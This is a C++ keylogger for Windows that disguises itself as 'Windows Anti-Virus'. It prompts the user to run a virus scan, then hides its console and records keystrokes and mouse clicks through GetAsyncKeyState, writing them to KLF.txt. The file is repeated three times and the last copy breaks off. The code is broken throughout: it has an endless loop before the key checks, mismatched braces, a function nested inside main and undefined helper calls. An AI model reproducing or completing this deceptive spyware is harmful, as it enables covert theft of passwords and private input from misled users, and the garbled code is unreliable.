#include <iostream>         
#include <windows.h>
#include <winuser.h>
#include <fstream>
#include <time.h>

using namespace std;

 void KeyCheck(void);

int main(void) 
{
    int Result;

        Result = MessageBox(NULL, "Are you sure you want to run A Full Computer Scan to check for viruses?", "Windows Anti-Virus",MB_YESNO | MB_ICONQUESTION);

        if (Result == IDYES)
                   {
                   MessageBox(NULL, "Ok, Windows antivirus will run in background, this could take several minutes or hours",  "Windows Anti-Virus",MB_OK | MB_ICONINFORMATION);

                   }
        if (Result == IDNO) 
                   {
                   return EXIT_SUCCESS;
                   }

        SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);

        HWND stealth; 
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);



        string keylog;        
        while (true)
        {


                              FILE *file;
                              file=fopen(keylog.c_str(), "a+");
                              time_t theTime=time(0);
                              fputs("\nStarted logging: ", file);
                              fputs(ctime(&theTime),file);
                              fclose(file);
        }   

              if  (GetAsyncKeyState(0x41))
              {
                     cout<<"a";
                     keylog+="a";
                     Sleep(100);       
                     }

              if  (GetAsyncKeyState(0x42))
              {
                     cout<<"b";
                     keylog+="b";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x43))
              {
                     cout<<"c";
                     keylog+="c";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x44))
              {
                     cout<<"d";
                     keylog+="d";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x45))
              {
                     cout<<"e";
                     keylog+="e";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x46))
              {
                     cout<<"f";
                     keylog+="f";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x47))
              {
                     cout<<"g";
                     keylog+="g";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x48))
              {
                     cout<<"h";
                     keylog+="h";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x49))
              {
                     cout<<"i";
                     keylog+="i";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4a))
              {
                     cout<<"j";
                     keylog+="j";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4b))
              {
                     cout<<"k";
                     keylog+="k";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4c))
              {
                     cout<<"l";
                     keylog+="l";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4d))
              {
                     cout<<"m";
                     keylog+="m";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4e))
              {
                     cout<<"n";
                     keylog+="n";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4f))
              {
                     cout<<"o";
                     keylog+="o";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x50))
              {
                     cout<<"p";
                     keylog+="p";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x51))
              {
                     cout<<"q";
                     keylog+="q";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x52))
              {
                     cout<<"r";
                     keylog+="r";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x53))
              {
                     cout<<"s";
                     keylog+="s";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x54))
              {
                     cout<<"t";
                     keylog+="t";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x55))
              {
                     cout<<"u";
                     keylog+="u";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x56))
              {
                     cout<<"v";
                     keylog+="v";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x57))
              {
                     cout<<"w";
                     keylog+="w";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x58))
              {
                     cout<<"x";
                     keylog+="x";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x59))
              {
                     cout<<"y";
                     keylog+="y";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x5A))
              {
                     cout<<"z";
                     keylog+="z";
                     Sleep(100);
                     {

              if  (GetAsyncKeyState(VK_SPACE))
              {
                     cout<<" ";
                     keylog+=" ";
                     Sleep(100);   
                     }

              if (GetAsyncKeyState(0xBE))
              {
                    cout<<".";
                    keylog+=".";
                    Sleep(100);
                    }

              if (GetAsyncKeyState(0x0D))
              {
                   cout<<"/n";
                   keylog+="/n";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x30))
              {
                   cout<<"0";
                   keylog+="0";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x31))
              {
                   cout<<"1";
                   keylog+="1";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x32))
              {
                   cout<<"2";
                   keylog+="2";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x33))
              {
                   cout<<"3";
                   keylog+="3";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x34))
              {
                   cout<<"4";
                   keylog+="4";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x35))
              {
                   cout<<"5";
                   keylog+="5";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x36))
              {
                   cout<<"6";
                   keylog+="6";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x37))
              {
                   cout<<"7";
                   keylog+="7";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x38))
              {
                   cout<<"8";
                   keylog+="8";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x39))
              {
                   cout<<"9";
                   keylog+="9";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LBUTTON))
              {
                   cout<<"[Left_Mouse_Button]";
                   keylog+="[Left_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RBUTTON))
              {
                   cout<<"[Right_Mouse_Button]";
                   keylog+="[Right_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MBUTTON))
              {
                   cout<<"[Middle_Mouse_Button]";
                   keylog+="[Middle_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_BACK))
              {
                   cout<<"[BACKSPACE]";
                   keylog+="[BACKSPACE]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_TAB))
              {
                   cout<<"[TAB]";
                   keylog+="[TAB]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LSHIFT))
              {
                   cout<<"[LSHIFT]";
                   keylog+="[LSHIFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RSHIFT))
              {
                   cout<<"[RSHIFT]";
                   keylog+="[RSHIFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LCONTROL))
              {
                   cout<<"[LCONTROL";
                   keylog+="[LCONTROL]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RCONTROL))
              {
                   cout<<"[RCONTROL]";
                   keylog+="[RCONTROL]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMLOCK))
              {
                   cout<<"[NUMLOCK]";
                   keylog+="[NUMLOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_SCROLL))
              {
                   cout<<"[SCROLL_LOCK]";
                   keylog+="[SCROLL_LOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_DELETE))
              {
                   cout<<"[DELETE]";
                   keylog+="[DELETE]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_INSERT))
              {
                   cout<<"[INSERT]";
                   keylog+="[INSERT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_SNAPSHOT))
              {
                   cout<<"[PRINTSCREEN]";
                   keylog+="[PRINTSCREEN]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_ESCAPE))
              {
                   cout<<"[ESC]";
                   keylog+="[ESC]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_CAPITAL))
              {
                   cout<<"[CAPS_LOCK]";
                   keylog+="[CAPS_LOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x25))
              {
                   cout<<"[LEFT]";
                   keylog+="[LEFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x26))
              {
                   cout<<"[UP]";
                   keylog+="[UP]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x27))
              {
                   cout<<"[RIGHT]";
                   keylog+="[RIGHT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x28))
              {
                   cout<<"[DOWN]";
                   keylog+="[DOWN]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F1))
              {
                   cout<<"[F1]";
                   keylog+="[F1]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F2)
              ){
                   cout<<"[F2]";
                   keylog+="[F2]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F3))
              {
                   cout<<"[F3]";
                   keylog+="[F3]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F4))
              {
                   cout<<"[F4]";
                   keylog+="[F4]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F5))
              {
                   cout<<"[F5]";
                   keylog+="[F5]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F6))
              {
                   cout<<"[F6]";
                   keylog+="[F6]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F7))
              {
                   return EXIT_SUCCESS;
                   }

              if (GetAsyncKeyState (VK_F8))
              {
                   cout<<"[F8]";
                   keylog+="[F8]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F9))
              {
                   cout<<"[F9]";
                   keylog+="[F9]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F10))
              {
                   cout<<"[F10]";
                   keylog+="[F10]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F11))
              {
                   cout<<"[F11]";
                   keylog+="[F11]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F12))
              {
                   cout<<"[F12]";
                   keylog+="[F12]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD0))
              {
                   cout<<"[NUMPAD0]";
                   keylog+="[NUMPAD0]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD1))
              {
                   cout<<"[NUMPAD1]";
                   keylog+="[NUMPAD1]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD2))
              {
                   cout<<"[NUMPAD2]";
                   keylog+="[NUMPAD2]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD3))
              {
                   cout<<"[NUMPAD3]";
                   keylog+="[NUMPAD3]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD4))
              {
                   cout<<"[NUMPAD4]";
                   keylog+="[NUMPAD4]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD5))
              {
                   cout<<"[NUMPAD5]";
                   keylog+="[NUMPAD5]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD6))
              {
                   cout<<"[NUMPAD6]";
                   keylog+="[NUMPAD6]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD7))
              {
                   cout<<"[NUMPAD7]";
                   keylog+="[NUMPAD7]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD8))
              {
                   cout<<"[NUMPAD8]";
                   keylog+="[NUMPAD8]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD9))
              {
                   cout<<"[NUMPAD9]";
                   keylog+="[NUMPAD9]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MULTIPLY))
              {
                   cout<<"[*]";
                   keylog+="[*]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_DIVIDE))
              {
                   cout<<"/";
                   keylog+="/";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBB))
              {
                   cout<<"[+]";
                   keylog+="[+]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBC))
              {
                   cout<<",";
                   keylog+=",";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBD))
              {
                   cout<<"[-]";
                   keylog+="[-]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_OEM_1))
              {
                   cout<<"[:;]";
                   keylog+="[:;]";
                   Sleep(100);
                   }                   
              if (GetAsyncKeyState (VK_OEM_2))
              {
                   cout<<"[/?]";
                   keylog+="[/?]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_OEM_4))
              {
                   cout<<"[ [{ ]";
                   keylog+="[ [{ ]";
                   Sleep(100);
                   }                        

              if (GetAsyncKeyState (VK_OEM_6))
              {
                   cout<<"[ ]} ]";
                   keylog+="[ ]} ]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MENU))
              {
                   cout<<"[ALT]";
                   keylog+="[ALT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_END))
              {
                   cout<<"[END]";
                   keylog+="[END]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_HOME))
              {
                   cout<<"[HOME]";
                   keylog+="[HOME]";
                   Sleep(100);
                   }




        ofstream file;
        file.open ("KLF.txt");
        file << keylog;
        file.close();



int KeyCheck(void)
{
      char key;
      int pause;

char title[MAX_PATH];
char oldtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
sprintf(oldtitle,"%s",title);
addTITLE(title); 
      while(1)
      {
              for(key = 32;key<=127;key++)
                      {
                      GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
                       if(strcmp(title,oldtitle)){
                       addTITLE(title);
                       sprintf(oldtitle,"%s",title);
                       }
                                 if (GetAsyncKeyState(key)==-32767)
                                 {
                                       pause = KeyLog(key); 

                                 }
                                 }return 0;
                                 }


} 
}
}return 0;
}         



#include <iostream>         
#include <windows.h>
#include <winuser.h>
#include <fstream>
#include <time.h>

using namespace std;

 void KeyCheck(void);

int main(void) 
{
    int Result;

        Result = MessageBox(NULL, "Are you sure you want to run A Full Computer Scan to check for viruses?", "Windows Anti-Virus",MB_YESNO | MB_ICONQUESTION);

        if (Result == IDYES)
                   {
                   MessageBox(NULL, "Ok, Windows antivirus will run in background, this could take several minutes or hours",  "Windows Anti-Virus",MB_OK | MB_ICONINFORMATION);

                   }
        if (Result == IDNO) 
                   {
                   return EXIT_SUCCESS;
                   }

        SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);

        HWND stealth; 
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);



        string keylog;        
        while (true)
        {


                              FILE *file;
                              file=fopen(keylog.c_str(), "a+");
                              time_t theTime=time(0);
                              fputs("\nStarted logging: ", file);
                              fputs(ctime(&theTime),file);
                              fclose(file);
        }   

              if  (GetAsyncKeyState(0x41))
              {
                     cout<<"a";
                     keylog+="a";
                     Sleep(100);       
                     }

              if  (GetAsyncKeyState(0x42))
              {
                     cout<<"b";
                     keylog+="b";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x43))
              {
                     cout<<"c";
                     keylog+="c";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x44))
              {
                     cout<<"d";
                     keylog+="d";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x45))
              {
                     cout<<"e";
                     keylog+="e";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x46))
              {
                     cout<<"f";
                     keylog+="f";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x47))
              {
                     cout<<"g";
                     keylog+="g";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x48))
              {
                     cout<<"h";
                     keylog+="h";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x49))
              {
                     cout<<"i";
                     keylog+="i";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4a))
              {
                     cout<<"j";
                     keylog+="j";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4b))
              {
                     cout<<"k";
                     keylog+="k";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4c))
              {
                     cout<<"l";
                     keylog+="l";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4d))
              {
                     cout<<"m";
                     keylog+="m";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4e))
              {
                     cout<<"n";
                     keylog+="n";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4f))
              {
                     cout<<"o";
                     keylog+="o";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x50))
              {
                     cout<<"p";
                     keylog+="p";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x51))
              {
                     cout<<"q";
                     keylog+="q";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x52))
              {
                     cout<<"r";
                     keylog+="r";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x53))
              {
                     cout<<"s";
                     keylog+="s";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x54))
              {
                     cout<<"t";
                     keylog+="t";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x55))
              {
                     cout<<"u";
                     keylog+="u";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x56))
              {
                     cout<<"v";
                     keylog+="v";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x57))
              {
                     cout<<"w";
                     keylog+="w";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x58))
              {
                     cout<<"x";
                     keylog+="x";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x59))
              {
                     cout<<"y";
                     keylog+="y";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x5A))
              {
                     cout<<"z";
                     keylog+="z";
                     Sleep(100);
                     {

              if  (GetAsyncKeyState(VK_SPACE))
              {
                     cout<<" ";
                     keylog+=" ";
                     Sleep(100);   
                     }

              if (GetAsyncKeyState(0xBE))
              {
                    cout<<".";
                    keylog+=".";
                    Sleep(100);
                    }

              if (GetAsyncKeyState(0x0D))
              {
                   cout<<"/n";
                   keylog+="/n";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x30))
              {
                   cout<<"0";
                   keylog+="0";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x31))
              {
                   cout<<"1";
                   keylog+="1";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x32))
              {
                   cout<<"2";
                   keylog+="2";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x33))
              {
                   cout<<"3";
                   keylog+="3";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x34))
              {
                   cout<<"4";
                   keylog+="4";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x35))
              {
                   cout<<"5";
                   keylog+="5";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x36))
              {
                   cout<<"6";
                   keylog+="6";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x37))
              {
                   cout<<"7";
                   keylog+="7";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x38))
              {
                   cout<<"8";
                   keylog+="8";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x39))
              {
                   cout<<"9";
                   keylog+="9";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LBUTTON))
              {
                   cout<<"[Left_Mouse_Button]";
                   keylog+="[Left_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RBUTTON))
              {
                   cout<<"[Right_Mouse_Button]";
                   keylog+="[Right_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MBUTTON))
              {
                   cout<<"[Middle_Mouse_Button]";
                   keylog+="[Middle_Mouse_Button]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_BACK))
              {
                   cout<<"[BACKSPACE]";
                   keylog+="[BACKSPACE]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_TAB))
              {
                   cout<<"[TAB]";
                   keylog+="[TAB]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LSHIFT))
              {
                   cout<<"[LSHIFT]";
                   keylog+="[LSHIFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RSHIFT))
              {
                   cout<<"[RSHIFT]";
                   keylog+="[RSHIFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_LCONTROL))
              {
                   cout<<"[LCONTROL";
                   keylog+="[LCONTROL]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_RCONTROL))
              {
                   cout<<"[RCONTROL]";
                   keylog+="[RCONTROL]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMLOCK))
              {
                   cout<<"[NUMLOCK]";
                   keylog+="[NUMLOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_SCROLL))
              {
                   cout<<"[SCROLL_LOCK]";
                   keylog+="[SCROLL_LOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_DELETE))
              {
                   cout<<"[DELETE]";
                   keylog+="[DELETE]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_INSERT))
              {
                   cout<<"[INSERT]";
                   keylog+="[INSERT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_SNAPSHOT))
              {
                   cout<<"[PRINTSCREEN]";
                   keylog+="[PRINTSCREEN]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_ESCAPE))
              {
                   cout<<"[ESC]";
                   keylog+="[ESC]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_CAPITAL))
              {
                   cout<<"[CAPS_LOCK]";
                   keylog+="[CAPS_LOCK]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x25))
              {
                   cout<<"[LEFT]";
                   keylog+="[LEFT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x26))
              {
                   cout<<"[UP]";
                   keylog+="[UP]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x27))
              {
                   cout<<"[RIGHT]";
                   keylog+="[RIGHT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0x28))
              {
                   cout<<"[DOWN]";
                   keylog+="[DOWN]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F1))
              {
                   cout<<"[F1]";
                   keylog+="[F1]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F2)
              ){
                   cout<<"[F2]";
                   keylog+="[F2]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F3))
              {
                   cout<<"[F3]";
                   keylog+="[F3]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F4))
              {
                   cout<<"[F4]";
                   keylog+="[F4]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F5))
              {
                   cout<<"[F5]";
                   keylog+="[F5]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F6))
              {
                   cout<<"[F6]";
                   keylog+="[F6]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F7))
              {
                   return EXIT_SUCCESS;
                   }

              if (GetAsyncKeyState (VK_F8))
              {
                   cout<<"[F8]";
                   keylog+="[F8]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F9))
              {
                   cout<<"[F9]";
                   keylog+="[F9]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F10))
              {
                   cout<<"[F10]";
                   keylog+="[F10]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F11))
              {
                   cout<<"[F11]";
                   keylog+="[F11]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_F12))
              {
                   cout<<"[F12]";
                   keylog+="[F12]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD0))
              {
                   cout<<"[NUMPAD0]";
                   keylog+="[NUMPAD0]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD1))
              {
                   cout<<"[NUMPAD1]";
                   keylog+="[NUMPAD1]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD2))
              {
                   cout<<"[NUMPAD2]";
                   keylog+="[NUMPAD2]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD3))
              {
                   cout<<"[NUMPAD3]";
                   keylog+="[NUMPAD3]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD4))
              {
                   cout<<"[NUMPAD4]";
                   keylog+="[NUMPAD4]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD5))
              {
                   cout<<"[NUMPAD5]";
                   keylog+="[NUMPAD5]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD6))
              {
                   cout<<"[NUMPAD6]";
                   keylog+="[NUMPAD6]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD7))
              {
                   cout<<"[NUMPAD7]";
                   keylog+="[NUMPAD7]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD8))
              {
                   cout<<"[NUMPAD8]";
                   keylog+="[NUMPAD8]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_NUMPAD9))
              {
                   cout<<"[NUMPAD9]";
                   keylog+="[NUMPAD9]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MULTIPLY))
              {
                   cout<<"[*]";
                   keylog+="[*]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_DIVIDE))
              {
                   cout<<"/";
                   keylog+="/";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBB))
              {
                   cout<<"[+]";
                   keylog+="[+]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBC))
              {
                   cout<<",";
                   keylog+=",";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (0xBD))
              {
                   cout<<"[-]";
                   keylog+="[-]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_OEM_1))
              {
                   cout<<"[:;]";
                   keylog+="[:;]";
                   Sleep(100);
                   }                   
              if (GetAsyncKeyState (VK_OEM_2))
              {
                   cout<<"[/?]";
                   keylog+="[/?]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_OEM_4))
              {
                   cout<<"[ [{ ]";
                   keylog+="[ [{ ]";
                   Sleep(100);
                   }                        

              if (GetAsyncKeyState (VK_OEM_6))
              {
                   cout<<"[ ]} ]";
                   keylog+="[ ]} ]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_MENU))
              {
                   cout<<"[ALT]";
                   keylog+="[ALT]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_END))
              {
                   cout<<"[END]";
                   keylog+="[END]";
                   Sleep(100);
                   }

              if (GetAsyncKeyState (VK_HOME))
              {
                   cout<<"[HOME]";
                   keylog+="[HOME]";
                   Sleep(100);
                   }




        ofstream file;
        file.open ("KLF.txt");
        file << keylog;
        file.close();



int KeyCheck(void)
{
      char key;
      int pause;

char title[MAX_PATH];
char oldtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
sprintf(oldtitle,"%s",title);
addTITLE(title); 
      while(1)
      {
              for(key = 32;key<=127;key++)
                      {
                      GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
                       if(strcmp(title,oldtitle)){
                       addTITLE(title);
                       sprintf(oldtitle,"%s",title);
                       }
                                 if (GetAsyncKeyState(key)==-32767)
                                 {
                                       pause = KeyLog(key); 

                                 }
                                 }return 0;
                                 }


} 
}
}return 0;
}         



#include <iostream>         
#include <windows.h>
#include <winuser.h>
#include <fstream>
#include <time.h>

using namespace std;

 void KeyCheck(void);

int main(void) 
{
    int Result;

        Result = MessageBox(NULL, "Are you sure you want to run A Full Computer Scan to check for viruses?", "Windows Anti-Virus",MB_YESNO | MB_ICONQUESTION);

        if (Result == IDYES)
                   {
                   MessageBox(NULL, "Ok, Windows antivirus will run in background, this could take several minutes or hours",  "Windows Anti-Virus",MB_OK | MB_ICONINFORMATION);

                   }
        if (Result == IDNO) 
                   {
                   return EXIT_SUCCESS;
                   }

        SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);

        HWND stealth; 
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);



        string keylog;        
        while (true)
        {


                              FILE *file;
                              file=fopen(keylog.c_str(), "a+");
                              time_t theTime=time(0);
                              fputs("\nStarted logging: ", file);
                              fputs(ctime(&theTime),file);
                              fclose(file);
        }   

              if  (GetAsyncKeyState(0x41))
              {
                     cout<<"a";
                     keylog+="a";
                     Sleep(100);       
                     }

              if  (GetAsyncKeyState(0x42))
              {
                     cout<<"b";
                     keylog+="b";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x43))
              {
                     cout<<"c";
                     keylog+="c";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x44))
              {
                     cout<<"d";
                     keylog+="d";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x45))
              {
                     cout<<"e";
                     keylog+="e";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x46))
              {
                     cout<<"f";
                     keylog+="f";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x47))
              {
                     cout<<"g";
                     keylog+="g";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x48))
              {
                     cout<<"h";
                     keylog+="h";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x49))
              {
                     cout<<"i";
                     keylog+="i";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4a))
              {
                     cout<<"j";
                     keylog+="j";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4b))
              {
                     cout<<"k";
                     keylog+="k";
                     Sleep(100);
                     }

              if  (GetAsyncKeyState(0x4c))
              {
                     cout<<"l";
